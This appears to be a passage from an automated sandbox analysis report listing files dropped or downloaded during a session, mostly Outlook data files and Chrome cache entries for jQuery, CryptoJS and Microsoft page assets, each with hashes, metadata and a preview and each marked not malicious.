.F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	Microsoft Outlook email folder (>=2003)
Category:	dropped
Size (bytes):	2302976
Entropy (8bit):	1.1912996708564552
Encrypted:	false
SSDEEP:	1536:vYrlc9ezBFy4JdA2jvUvpy4JdA2jvU/IrOKXJRN3P1tHO/U+3iUtrwyX40duVCwQ:ECzi4JzBOAcBOpj8wpj
MD5:	E15B70B996340122CABEFCC70D0C3947
SHA1:	D49993262D3D1D5BEEF332DA075FB4B2BF3B7FB8
SHA-256:	1655D06F35C05C977AC90AA5A28A587E6F03665037C4C183FAA8647F6C1B191C
SHA-512:	3DC735F5265BC55A2BB412229B568B4A582552E271B82B0C81D45838423CE33D45763BAFD4A990FBC9191C3B20C805313DDCD7575C4BDF03749C953E38716B3F
Malicious:	false
Preview:	!BDN..l.SM......\...o....N..............g................@...........@...@...................................@...........................................................................$#......D.......1.......................x...............f...........................................................................................................................................................................................................................................................................................!....E.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE
File Type:	data
Category:	dropped
Size (bytes):	393216
Entropy (8bit):	3.9507512361028643
Encrypted:	false
SSDEEP:	1536:vaAZy4JdA2jvd9TsFy4JdA2jvd9Ts/PX8/UJ3iGvrwyXu0Vq4SB/U+3iUPrwyX4n:dFSTtcYB44pj
MD5:	FC819FE4A8B672F55F90AB5B2C412931
SHA1:	E28F98FCD75A9E1FC8136DC15BCF1F582B620C03
SHA-256:	E5DE3ABEB4125243D56B72A413D45D75BBB9EF4A8044743681F28DF2BA8EA339
SHA-512:	9FF9E008CD246D630D09988200B4AAE56BDEA71394FF34BF5D768110A9210731EFC164983E6FA0BA9ECCB9BFF9C513227556EEC78C838F3ACB8F80DF5A813F55
Malicious:	false
Preview:	....0...........$....#,.ZE.......$............#.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................$........k.0...........$....#,.ZE.......B............#.......................................`.................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	dropped
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 216 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4054
Entropy (8bit):	7.797012573497454
Encrypted:	false
SSDEEP:	48:zICvnyRHJ3BRZPcSPQ72N2xoiR4fTJX/rj4sFNMkk5/p1k2lPUmbm39o4aL7V9XH:10nvE724xoiRQJPrjpLKSFl9oX31Z1d
MD5:	9F14C20150A003D7CE4DE57C298F0FBA
SHA1:	DAA53CF17CC45878A1B153F3C3BF47DC9669D78F
SHA-256:	112FEC798B78AA02E102A724B5CB1990C0F909BC1D8B7B1FA256EAB41BBC0960
SHA-512:	D4F6E49C854E15FE48D6A1F1A03FDA93218AB8FCDB2C443668E7DF478830831ACC2B41DAEFC25ED38FCC8D96C4401377374FED35C36A5017A11E63C8DAE5C487
Malicious:	false
Preview:	.PNG........IHDR.............J.......tEXtSoftware.Adobe ImageReadyq.e<...(iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c132 79.159284, 2016/04/19-13:13:40 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:A00BC639840A11E68CBEB97C2156C7FD" xmpMM:InstanceID="xmp.iid:A00BC638840A11E68CBEB97C2156C7FD" xmp:CreatorTool="Adobe Photoshop CC 2015.5 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A2C931A470A111E6AEDFA14578553B7B" stRef:documentID="xmp.did:A2C931A570A111E6AEDFA14578553B7B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......DIDATx..\..UU.>.7..3....h.L..& j2...h.@..".........`U.......R"..Dq.&.BJR 1.4`$.200...l........wg.y.[k/

Chrome Cache Entry: 146

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32089)
Category:	downloaded
Size (bytes):	92629
Entropy (8bit):	5.303443527492463
Encrypted:	false
SSDEEP:	1536:dnu00HWWaRxkqJg09pYxoxDKMXJrg8hXXO4dK3kyfiLJBhdSZE+I+Qg7rbaN1RUx:ddkWgoBhcZRQgmW42qe
MD5:	397754BA49E9E0CF4E7C190DA78DDA05
SHA1:	AE49E56999D82802727455F0BA83B63ACD90A22B
SHA-256:	C12F6098E641AACA96C60215800F18F5671039AECF812217FAB3C0D152F6ADB4
SHA-512:	8C64754F77507AB2C24A6FC818419B9DD3F0CECCC9065290E41AFDBEE0743F0DA2CB13B2FBB00AFA525C082F1E697CB3FFD76EF9B902CB81D7C41CA1C641DFFB
Malicious:	false
URL:	https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.9.1.min.js
Preview:	/! jQuery v1.9.1 \| (c) 2005, 2012 jQuery Foundation, Inc. \| jquery.org/license.//@ sourceMappingURL=jquery.min.map./(function(e,t){var n,r,i=typeof t,o=e.document,a=e.location,s=e.jQuery,u=e.$,l={},c=[],p="1.9.1",f=c.concat,d=c.push,h=c.slice,g=c.indexOf,m=l.toString,y=l.hasOwnProperty,v=p.trim,b=function(e,t){return new b.fn.init(e,t,r)},x=/[+-]?(?:\d\.\|)\d+(?:[eE][+-]?\d+\|)/.source,w=/\S+/g,T=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,N=/^(?:(<[\w\W]+>)[^>]\|#([\w-]))$/,C=/^<(\w+)\s\/?>(?:<\/\1>\|)$/,k=/^[\],:{}\s]$/,E=/(?:^\|:\|,)(?:\s\[)+/g,S=/\\(?:["\\\/bfnrt]\|u[\da-fA-F]{4})/g,A=/"[^"\\\r\n]*"\|true\|false\|null\|-?(?:\d+\.\|)\d+(?:[eE][+-]?\d+\|)/g,j=/^-ms-/,D=/-([\da-z])/gi,L=function(e,t){return t.toUpperCase()},H=function(e){(o.addEventListener\|\|"load"===e.type\|\|"complete"===o.readyState)&&(q(),b.ready())},q=function(){o.addEventListener?(o.removeEventListener("DOMContentLoaded",H,!1),e.removeEventListener("load",H,!1)):(o.detachEvent("onreadystatechange",H),e.detachEvent("onload",H)

Chrome Cache Entry: 147

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 87, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.068159130770307
Encrypted:	false
SSDEEP:	3:yionv//thPl3IHa9oyxl/k4E08up:6v/lhPm6ay7Tp
MD5:	91BF0DCD890C0A727270AC91FA48A949
SHA1:	B97CC887FF26B11842811C1A89F6E73BFC744D43
SHA-256:	4392099B23DE92D911B4B891B99FB5B650266F840646FC406B4FDF197B70F5EE
SHA-512:	5D5CCB424F110793D8B9B8D11C64049E53001EADD976DFAA3F59A581D0E0833692EC8CE6F4D834DC678261276AD5CA2865607DF8D31E3BCA61FBA16EF574F429
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8ec20e0108594229/1733213162689/-tr6mdixVB1rYgg
Preview:	.PNG........IHDR... ...W......?......IDAT.....$.....IEND.B`.

Chrome Cache Entry: 148

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 149

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (513), with no line terminators
Category:	dropped
Size (bytes):	513
Entropy (8bit):	5.350826451115093
Encrypted:	false
SSDEEP:	12:D0rdkqmKlO30kMWznLPQspwlZpqBijDgrgLCpWRG3a0:exmwOkkMWIvv4ELsWUp
MD5:	602C381194795DFC124FACDF48492EF1
SHA1:	90D594B7B5AF217824F2974514548C95FECFBFA5
SHA-256:	BF450798FB52E2458A1E10749577E5334F3E1D7907A47FDFEA5430CB71FA19E6
SHA-512:	8837F6BD2A11387D31A866D07B66A0FF2E58D2EDC2682A582919A1896CE9B4CB683A795D91968B41FA46C31CE62D34414E1F3318D4F5DDA2999447F4BCA6133D
Malicious:	false
Preview:	var jsllConfig={useDefaultContentName:!0,syncMuid:!0,authMethod:AUTHMETHOD,isLoggedIn:ISLOGGEDIN===undefined\|\|ISLOGGEDIN!=="True"?!1:!0,muidDomain:MUIDDOMAIN\|\|"microsoft.com",useShortNameForContentBlob:!1,autoCapture:{pageView:!0,onLoad:!0,onUnload:!0,click:!0,scroll:!0,resize:!0,lineage:!0,jsError:!0,addin:!0,perf:!0},coreData:{appId:JSLLAPPID,market:LOCALE,pageName:PAGENAME,pageType:PAYLOADTYPE,referrerUri:document.referrer,requestUri:window.location.href},callback:{pageName:PAGENAME}};awa.init(jsllConfig)

Chrome Cache Entry: 150

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64241)
Category:	downloaded
Size (bytes):	167730
Entropy (8bit):	5.045981547409661
Encrypted:	false
SSDEEP:	3072:OzCPZkTP3bDLH0tfRqQ0xtLfj4ZDSIpTt813viY8R1j35Ap7LQZLPPJH7PAbOCxW:clZAP+keedJ
MD5:	AFB5C64B13342F6E568093548D0A2A9F
SHA1:	95FC121CCCFDBA12443CF87A9C823486065A14AB
SHA-256:	238DB52476BF8107E2E851CD3299B071ED5944B570C1603A1EA758A4FADF5F29
SHA-512:	6FE8BADD1B94E81464C0808383A4CC77F779BF226A3C13B58B2BCB36332995EFBC7711373EE8AB2A8BC52675884F9885D168CB2DE9535E39E71B0B72940691E1
Malicious:	false
URL:	https://www.microsoft.com/onerfstatics/marketingsites-wcus-prod/west-european/shell/_scrf/css/themes=default.device=uplevel_web_pc/2b-7ae144/7e-3283eb/69-8122fc/86-016699/72-2b1d8c/80-6461e7/2a-d9be59/51-40faf7?ver=2.0
Preview:	@charset "UTF-8";./! \| Copyright 2017 Microsoft Corporation \| This software is based on or incorporates material from the files listed below (collectively, "Third Party Code"). Microsoft is not the original author of the Third Party Code. The original copyright notice and the license under which Microsoft received Third Party Code are set forth below together with the full text of such license. Such notices and license are provided solely for your information. Microsoft, not the third party, licenses this Third Party Code to you under the terms in which you received the Microsoft software or the services, unless Microsoft clearly states that such Microsoft terms do NOT apply for a particular Third Party Code. Unless applicable law gives you more rights, Microsoft reserves all other rights not expressly granted under such agreement(s), whether by implication, estoppel or otherwise././! normalize.css v3.0.3 \| MIT License \| github.com/necolas/normalize.css /.body{margin:0}.context-uh

Chrome Cache Entry: 151

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	89476
Entropy (8bit):	5.2896589255084425
Encrypted:	false
SSDEEP:	1536:AjExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h8cApwEjOPrBeU6QLiTFbc0QlQvakF:AYh8eip3huuf6IidlrvakdtQ47GK1
MD5:	DC5E7F18C8D36AC1D3D4753A87C98D0A
SHA1:	C8E1C8B386DC5B7A9184C763C88D19A346EB3342
SHA-256:	F7F6A5894F1D19DDAD6FA392B2ECE2C5E578CBF7DA4EA805B6885EB6985B6E3D
SHA-512:	6CB4F4426F559C06190DF97229C05A436820D21498350AC9F118A5625758435171418A022ED523BAE46E668F9F8EA871FEAB6AFF58AD2740B67A30F196D65516
Malicious:	false
URL:	https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"o

Chrome Cache Entry: 152

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (41651)
Category:	downloaded
Size (bytes):	131537
Entropy (8bit):	5.2237799798561975
Encrypted:	false
SSDEEP:	3072:1f/HuF3CpxEIqQ0/9d1EwgXAnKxnKKviV:1f/HuZ1ILGV
MD5:	30B7C335C62E5269E2D35B8E8B9F44B4
SHA1:	C6D92B1516EB8F6D44AAF171FB24A1B2AADD0C4C
SHA-256:	10733A5D876108F81C5F78EEE5C9760A739D89C52FA6180C4290B7F909F24346
SHA-512:	5BCE247C84C88F993A857CE2F1E8540C648672DEB6D92A55BC808C33394B784C52866D635BEC8B7CD5E62A7EA4109569AC8BCD1381571B84592ACD6C5901D7A8
Malicious:	false
URL:	https://www.microsoft.com/onerfstatics/marketingsites-wcus-prod/shell/_scrf/js/themes=default/54-af9f9f/c0-247156/de-099401/e1-a50eee/e7-954872/d8-97d509/f0-251fe2/46-be1318/77-04a268/11-240c7b/63-077520/a4-34de62/1b-c96630/db-bc0148/dc-7e9864/78-4c7d22/e1-c35781/40-7b7803/cd-23d3b0/6d-1e7ed0/b7-cadaa7/ca-40b7b0/4e-ee3a55/3e-f5c39b/c3-6454d7/f9-7592d3/92-10345d/79-499886/7e-cda2d3/db-f3b1fd/93-283c2d/e0-3c9860/91-97a04f/1f-100dea/33-abe4df/19-c0fae7?ver=2.0&iife=1
Preview:	(function(){/*. @license almond 0.3.3 Copyright jQuery Foundation and other contributors.. * Released under MIT license, http://github.com/requirejs/almond/LICENSE. /.var requirejs,require,define,__extends;(function(n){function r(n,t){return w.call(n,t)}function s(n,t){var o,s,f,e,h,p,c,b,r,l,w,k,u=t&&t.split("/"),a=i.map,y=a&&a[""]\|\|{};if(n){for(n=n.split("/"),h=n.length-1,i.nodeIdCompat&&v.test(n[h])&&(n[h]=n[h].replace(v,"")),n[0].charAt(0)==="."&&u&&(k=u.slice(0,u.length-1),n=k.concat(n)),r=0;r<n.length;r++)if(w=n[r],w===".")n.splice(r,1),r-=1;else if(w==="..")if(r===0\|\|r===1&&n[2]===".."\|\|n[r-1]==="..")continue;else r>0&&(n.splice(r-1,2),r-=2);n=n.join("/")}if((u\|\|y)&&a){for(o=n.split("/"),r=o.length;r>0;r-=1){if(s=o.slice(0,r).join("/"),u)for(l=u.length;l>0;l-=1)if(f=a[u.slice(0,l).join("/")],f&&(f=f[s],f)){e=f;p=r;break}if(e)break;!c&&y&&y[s]&&(c=y[s],b=r)}!e&&c&&(e=c,p=b);e&&(o.splice(0,p,e),n=o.join("/"))}return n}function y(t,i){return function(){var r=b.call(arguments,0

Chrome Cache Entry: 153

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (41651)
Category:	dropped
Size (bytes):	131537
Entropy (8bit):	5.2237799798561975
Encrypted:	false
SSDEEP:	3072:1f/HuF3CpxEIqQ0/9d1EwgXAnKxnKKviV:1f/HuZ1ILGV
MD5:	30B7C335C62E5269E2D35B8E8B9F44B4
SHA1:	C6D92B1516EB8F6D44AAF171FB24A1B2AADD0C4C
SHA-256:	10733A5D876108F81C5F78EEE5C9760A739D89C52FA6180C4290B7F909F24346
SHA-512:	5BCE247C84C88F993A857CE2F1E8540C648672DEB6D92A55BC808C33394B784C52866D635BEC8B7CD5E62A7EA4109569AC8BCD1381571B84592ACD6C5901D7A8
Malicious:	false
Preview:	(function(){/*. @license almond 0.3.3 Copyright jQuery Foundation and other contributors.. * Released under MIT license, http://github.com/requirejs/almond/LICENSE. /.var requirejs,require,define,__extends;(function(n){function r(n,t){return w.call(n,t)}function s(n,t){var o,s,f,e,h,p,c,b,r,l,w,k,u=t&&t.split("/"),a=i.map,y=a&&a[""]\|\|{};if(n){for(n=n.split("/"),h=n.length-1,i.nodeIdCompat&&v.test(n[h])&&(n[h]=n[h].replace(v,"")),n[0].charAt(0)==="."&&u&&(k=u.slice(0,u.length-1),n=k.concat(n)),r=0;r<n.length;r++)if(w=n[r],w===".")n.splice(r,1),r-=1;else if(w==="..")if(r===0\|\|r===1&&n[2]===".."\|\|n[r-1]==="..")continue;else r>0&&(n.splice(r-1,2),r-=2);n=n.join("/")}if((u\|\|y)&&a){for(o=n.split("/"),r=o.length;r>0;r-=1){if(s=o.slice(0,r).join("/"),u)for(l=u.length;l>0;l-=1)if(f=a[u.slice(0,l).join("/")],f&&(f=f[s],f)){e=f;p=r;break}if(e)break;!c&&y&&y[s]&&(c=y[s],b=r)}!e&&c&&(e=c,p=b);e&&(o.splice(0,p,e),n=o.join("/"))}return n}function y(t,i){return function(){var r=b.call(arguments,0

Chrome Cache Entry: 154

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 155

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (955), with CRLF line terminators
Category:	downloaded
Size (bytes):	201253
Entropy (8bit):	2.661810841903416
Encrypted:	false
SSDEEP:	768:W7nJSq9GinOo20uqxjr3+AKyKEAPNPPn8P9R/3htzAVT+JcYY5WRItsWc7rQ3S01:WHGiOoHuOjr3+AKyKAXS
MD5:	85DE642E1467807F64F7E10807DF3869
SHA1:	C795B490811C0E5A1A8F3C3F620AAB9F00C34F07
SHA-256:	5965B2C5472AACA1CD66EA5B0D07A971B961FEE72FC27EB1F6C760042084B21B
SHA-512:	BF4EC56D6FC54EAAFBD57C4E4D06900D358E39CE15009FB983491B0A83ABB60A0A54F46BE86387AB837B4AE1D1F3FF99156D04207065B0F65F165B54CFAAF47B
Malicious:	false
URL:	https://www.microsoft.com/en-us/microsoft-365/onedrive/online-cloud-storage
Preview:	..<!DOCTYPE html><html xmlns:mscom="http://schemas.microsoft.com/CMSvNext".. xmlns:md="http://schemas.microsoft.com/mscom-data" lang="en-us".. xmlns="http://www.w3.org/1999/xhtml"><head><link rel="shortcut icon".. href="//www.microsoft.com/favicon.ico?v2" /><link.. type="text/css" rel="stylesheet".. href="https://assets.onestore.ms/cdnfiles/external/mwf/long/v1/v1.25.0/css/mwf-west-european-default.min.css".. /><title>Your request has been blocked. This could be.. due to several reasons.</title><meta name="Title".. content="We are sorry, the page you requested cannot be.. found" /><meta name="CorrelationVector".. content="VbLZYbRlhU2hyedN.1" /><meta name="Description".. content="" /><meta name="MscomContentLocale".. content="en-us" /><meta name="

Chrome Cache Entry: 156

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	15
Entropy (8bit):	3.189898095464287
Encrypted:	false
SSDEEP:	3:Uh1Kn:UDKn
MD5:	39A19D0882684989864FA50BCED6A2D1
SHA1:	5CED55DAC2E0427E9DC605CEC1FEDAB0949EB15E
SHA-256:	8FBEDED073249C3611742297EE96A976A95EE113F33B9A422A5D3A7A2DEB63E5
SHA-512:	E795CB7DE27B42948B7DDFF19F3B401A8F95753AC7D37D9B5F52D8DACD2AA43A2AD9EACEC29F77D28080E20C21C48B9FA88A733FAC108939FB2F0EB036C7AEEE
Malicious:	false
URL:	https://statics-marketingsites-wcus-ms-com.akamaized.net/statics/override.css?c=7
Preview:	/* empty css */

Chrome Cache Entry: 157

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

Chrome Cache Entry: 158

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 87, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.068159130770307
Encrypted:	false
SSDEEP:	3:yionv//thPl3IHa9oyxl/k4E08up:6v/lhPm6ay7Tp
MD5:	91BF0DCD890C0A727270AC91FA48A949
SHA1:	B97CC887FF26B11842811C1A89F6E73BFC744D43
SHA-256:	4392099B23DE92D911B4B891B99FB5B650266F840646FC406B4FDF197B70F5EE
SHA-512:	5D5CCB424F110793D8B9B8D11C64049E53001EADD976DFAA3F59A581D0E0833692EC8CE6F4D834DC678261276AD5CA2865607DF8D31E3BCA61FBA16EF574F429
Malicious:	false
Preview:	.PNG........IHDR... ...W......?......IDAT.....$.....IEND.B`.

Chrome Cache Entry: 159

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47694)
Category:	dropped
Size (bytes):	47695
Entropy (8bit):	5.401531363850578
Encrypted:	false
SSDEEP:	768:IXCtQmIutwVHbzZBF6gmXLSOzQDjdxdOQbk6sgEvk/7b39tobLKZU8nw81KZLGcD:IGJWHbzZBF6xbGfLsVvy33FU8DW
MD5:	1685878B80EECB073E51C13F17A5E530
SHA1:	0FFFA666F98F2D8C1156D46D7F9AB90C5B089AF3
SHA-256:	C61E2E1347B9ACA3D8F0C9725490470651A1F6C02841FF71F90305EA391CA6D2
SHA-512:	2B32A82A8E7E0A1F6203A04C3E7DDAE6AC3A4438B2309DC04EA112D862839902DD47D2E4A569BCB6F91E359B1F8197F3A179A206A458881A66E89860F96D526E
Malicious:	false
Preview:	"use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Ht(u,o,c,g,h,"next",l)}function h(l){Ht(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
